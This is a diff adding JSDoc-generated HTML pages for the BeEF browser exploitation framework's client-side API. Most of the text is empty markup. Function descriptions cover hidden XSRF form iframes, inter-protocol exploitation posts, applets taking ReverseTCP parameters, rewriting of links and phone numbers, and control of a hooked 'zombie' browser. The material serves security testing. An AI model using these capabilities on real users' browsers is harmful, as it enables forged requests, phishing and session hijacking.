+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF89()

+ + + + + + +
+

Returns true if FF89

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF90()

+ + + + + + +
+

Returns true if FF90

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF91()

+ + + + + + +
+

Returns true if FF91

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF92()

+ + + + + + +
+

Returns true if FF92

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF93()

+ + + + + + +
+

Returns true if FF93

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF94()

+ + + + + + +
+

Returns true if FF94

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF95()

+ + + + + + +
+

Returns true if FF95

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF96()

+ + + + + + +
+

Returns true if FF96

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF97()

+ + + + + + +
+

Returns true if FF97

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF98()

+ + + + + + +
+

Returns true if FF98

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF99()

+ + + + + + +
+

Returns true if FF99

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIceweasel()

+ + + + + + +
+

Returns true if Iceweasel.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE()

+ + + + + + +
+

Returns true if IE.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE6()

+ + + + + + +
+

Returns true if IE6.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE7()

+ + + + + + +
+

Returns true if IE7.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE8()

+ + + + + + +
+

Returns true if IE8.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE9()

+ + + + + + +
+

Returns true if IE9.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE10()

+ + + + + + +
+

Returns true if IE10.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE11()

+ + + + + + +
+

Returns true if IE11.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isMidori()

+ + + + + + +
+

Returns true if Midori.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO()

+ + + + + + +
+

Returns true if Opera.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO9_52()

+ + + + + + +
+

Returns true if Opera 9.50 through 9.52.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO9_60()

+ + + + + + +
+

Returns true if Opera 9.60 through 9.64.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO10()

+ + + + + + +
+

Returns true if Opera 10.xx.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO11()

+ + + + + + +
+

Returns true if Opera 11.xx.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO12()

+ + + + + + +
+

Returns true if Opera 12.xx.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isOdyssey()

+ + + + + + +
+

Returns true if Odyssey

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS()

+ + + + + + +
+

Returns true if Safari.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS4()

+ + + + + + +
+

Returns true if Safari 4.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS5()

+ + + + + + +
+

Returns true if Safari 5.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS6()

+ + + + + + +
+

Returns true if Safari 6.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS7()

+ + + + + + +
+

Returns true if Safari 7.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS8()

+ + + + + + +
+

Returns true if Safari 8.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isWebKitBased()

+ + + + + + +
+

Returns true if Webkit based

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) javaEnabled()

+ + + + + + +
+

Checks if the zombie has Java enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) type()

+ + + + + + +
+

Returns the type of browser being used.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.browser.popup.html b/docs/beef.browser.popup.html new file mode 100644 index 000000000..a02526516 --- /dev/null +++ b/docs/beef.browser.popup.html @@ -0,0 +1,223 @@ + + + + + JSDoc: Namespace: popup + + + + + + + + + + +
+ +

Namespace: popup

+ + + + + + +
+ +
+ +

+ .browser.popup

+ + +
+ +
+
+ + +

Provides fuctions for working with cookies. +Several functions adopted from http://davidwalsh.name/popup-block-javascript +Original author unknown.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) blocker_enabled()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.dom.html b/docs/beef.dom.html new file mode 100644 index 000000000..53d5b8022 --- /dev/null +++ b/docs/beef.dom.html @@ -0,0 +1,3688 @@ + + + + + JSDoc: Namespace: dom + + + + + + + + + + +
+ +

Namespace: dom

+ + + + + + +
+ +
+ +

dom

+ + +
+ +
+
+ + +

Provides functionality to manipulate the DOM.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) attachApplet(id:, code:, codebase:, archive:, params:)

+ + + + + + +
+

Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed). +example usage in the code, using a JAR archive (recommended and faster): +beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]); +example usage in the code, using codebase: +beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
id: + + +String + + + +

reference identifier to the applet.

code: + + +String + + + +

name of the class to be loaded. For example, beef.class.

codebase: + + +String + + + +

the URL of the codebase (usually used when loading a single class for an unsigned applet).

archive: + + +String + + + +

the jar that contains the code.

params: + + +String + + + +

an array of additional params that the applet except.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) createElement(type, attributes) → {Array}

+ + + + + + +
+

Creates a new element but does not append it to the DOM.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
type + + +String + + + +

the name of the element.

attributes + + +Array + + + +

the attributes of that element.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the created element.

+
+ + + +
+
+ Type +
+
+ +Array + + +
+
+ + + + + + + + + + + + + +

(static) createForm(params:, append:) → {Object}

+ + + + + + +
+

Create a form element with the specified parameters, appending it to the DOM if append == true

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
params: + + +Hash + + + +

params to be applied to the form element

append: + + +Boolean + + + +

automatically append the form to the body

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

a form object

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) createIframe(type:, params:, styles:, a) → {Object}

+ + + + + + +
+

Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter +is assigned to created iframe tag's src attribute resulting in GET request to that URI. +example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
type: + + +String + + + +

can be 'hidden' or 'fullScreen'. defaults to normal

params: + + +Hash + + + +

list of params that will be sent in request.

styles: + + +Hash + + + +

css styling attributes, these are merged with the defaults specified in the type parameter

a + + +function + + + +

callback function to fire once the iFrame has loaded

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the inserted iFrame

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) createIframeIpecForm(rhost:, rport:, commands:)

+ + + + + + +
+

Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
rhost: + + +String + + + +

remote host ip/domain

rport: + + +String + + + +

remote port

commands: + + +String + + + +

protocol commands to be executed by the remote host:port service

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) createIframeXsrfForm(action:, method:, enctype:, inputs:)

+ + + + + + +
+

Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
action: + + +String + + + +

the form action attribute, where the request will be sent.

method: + + +String + + + +

HTTP method, usually POST.

enctype: + + +String + + + +

form encoding type

inputs: + + +Array + + + +

an array of inputs to be added to the form (type, name, value). +example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) createInvisibleIframe() → {array}

+ + + + + + +
+

Creates an invisible iframe on the hook browser's page.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the iframe.

+
+ + + +
+
+ Type +
+
+ +array + + +
+
+ + + + + + + + + + + + + +

(static) detachApplet(id:)

+ + + + + + +
+

Given an id, remove the applet from the DOM.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
id: + + +String + + + +

reference identifier to the applet.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) generateID(prefix) → {String}

+ + + + + + +
+

Generates a random ID for HTML elements

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
prefix + + +String + + + +

a custom prefix before the random id. defaults to "beef-"

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

generated id

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getHighestZindex(whether) → {Integer|Hash}

+ + + + + + +
+

Returns the highest current z-index

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
whether + + +Boolean + + + +

to return an associative array with the height AND the ID of the element

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+
    +
  • +
    +

    Highest z-index in the DOM +OR

    +
    + + + +
    +
    + Type +
    +
    + +Integer + + +
    +
    +
  • + +
  • +
    +

    A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}

    +
    + + + +
    +
    + Type +
    +
    + +Hash + + +
    +
    +
  • +
+ + + + + + + + + + + + + + + + + + +
+

Get links of the current page.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

array of URLs.

+
+ + + + + + + + + + + + + + + +

(static) getLocation()

+ + + + + + +
+

Get the location of the current page.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the location.

+
+ + + + + + + + + + + + + + + +

(static) grayOut(vis:, options:)

+ + + + + + +
+

Load a full screen div that is black, or, transparent

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
vis: + + +Boolean + + + +

whether or not you want the screen dimmer enabled or not

options: + + +Hash + + + +

a collection of options to customise how the div is configured, as follows: +opacity:0-100 // Lower number = less grayout higher = more of a blackout +// By default this is 70 +zindex: # // HTML elements with a higher zindex appear on top of the gray out +// By default this will use beef.dom.getHighestZindex to always go to the top +bgcolor: (#xxxxxx) // Standard RGB Hex color code +// By default this is #000000

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isDOMElement(the) → {boolean}

+ + + + + + +
+

Tests if the object is a DOM element.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
the + + +Object + + + +

DOM element.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true if the object is a DOM element.

+
+ + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) parseAppletParams(an) → {String}

+ + + + + + +
+

Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
an + + +Array + + + +

array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the parameters as a string ready to append to applet/embed/object tags (ex.: ).

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) persistentIframe()

+ + + + + + +
+

Load the link (href value) in an overlay foreground iFrame. +The BeEF hook continues to run in background. +NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses +Framebusting techniques, this will not work.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) removeElement(el)

+ + + + + + +
+

Removes element from the DOM.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
el + + +Object + + + +

the target element to be removed.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) removeStylesheets()

+ + + + + + +
+

Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering, +or, re-writing a document this is useful.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Rewrites all links matched by selector to url, also rebinds the click method to simply return true

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
url: + + +String + + + +

the url to be rewritten

selector: + + +String + + + +

the jquery selector statement to use, defaults to all a tags.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the amount of links found in the DOM and rewritten.

+
+ + + +
+
+ Type +
+
+ +Number + + +
+
+ + + + + + + + + + + + + +

(static) rewriteLinksClickEvents(url:, selector:) → {Number}

+ + + + + + +
+

Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting. +http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
url: + + +String + + + +

the url to be rewritten

selector: + + +String + + + +

the jquery selector statement to use, defaults to all a tags.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the amount of links found in the DOM and rewritten.

+
+ + + +
+
+ Type +
+
+ +Number + + +
+
+ + + + + + + + + + + + + +

(static) rewriteLinksProtocol(old_protocol:, new_protocol:, selector:) → {Number}

+ + + + + + +
+

Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
old_protocol: + + +String + + + +

the old link protocol to be rewritten

new_protocol: + + +String + + + +

the new link protocol to be written

selector: + + +String + + + +

the jquery selector statement to use, defaults to all a tags.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the amount of links found in the DOM and rewritten.

+
+ + + +
+
+ Type +
+
+ +Number + + +
+
+ + + + + + + + + + + + + + + + + + + + +
+

Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
new_number: + + +String + + + +

the new link telephone number to be written

selector: + + +String + + + +

the jquery selector statement to use, defaults to all a tags.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the amount of links found in the DOM and rewritten.

+
+ + + +
+
+ Type +
+
+ +Number + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.encode.base64.html b/docs/beef.encode.base64.html new file mode 100644 index 000000000..6248a5853 --- /dev/null +++ b/docs/beef.encode.base64.html @@ -0,0 +1,740 @@ + + + + + JSDoc: Namespace: base64 + + + + + + + + + + +
+ +

Namespace: base64

+ + + + + + +
+ +
+ +

base64

+ + +
+ +
+
+ + +

Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) decode(input) → {string}

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
input + + +string + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) encode(input) → {string}

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
input + + +string + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) utf8_decode(utftext) → {string}

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
utftext + + +string + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) utf8_encode(string) → {string}

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
string + + +string + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.encode.json.html b/docs/beef.encode.json.html new file mode 100644 index 000000000..11e9b1995 --- /dev/null +++ b/docs/beef.encode.json.html @@ -0,0 +1,392 @@ + + + + + JSDoc: Namespace: json + + + + + + + + + + +
+ +

Namespace: json

+ + + + + + +
+ +
+ +

json

+ + +
+ +
+
+ + +

Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) quoteString(string)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
string + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) stringify(o)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
o + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.geolocation.html b/docs/beef.geolocation.html new file mode 100644 index 000000000..0f73b00ce --- /dev/null +++ b/docs/beef.geolocation.html @@ -0,0 +1,578 @@ + + + + + JSDoc: Namespace: geolocation + + + + + + + + + + +
+ +

Namespace: geolocation

+ + + + + + +
+ +
+ +

geolocation

+ + +
+ +
+
+ + +

Provides functionalities to use the geolocation API.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) getGeolocation(command_url, command_id)

+ + + + + + +
+

Retrieve latitude/longitude using the geolocation API

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
command_url + +
command_id + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
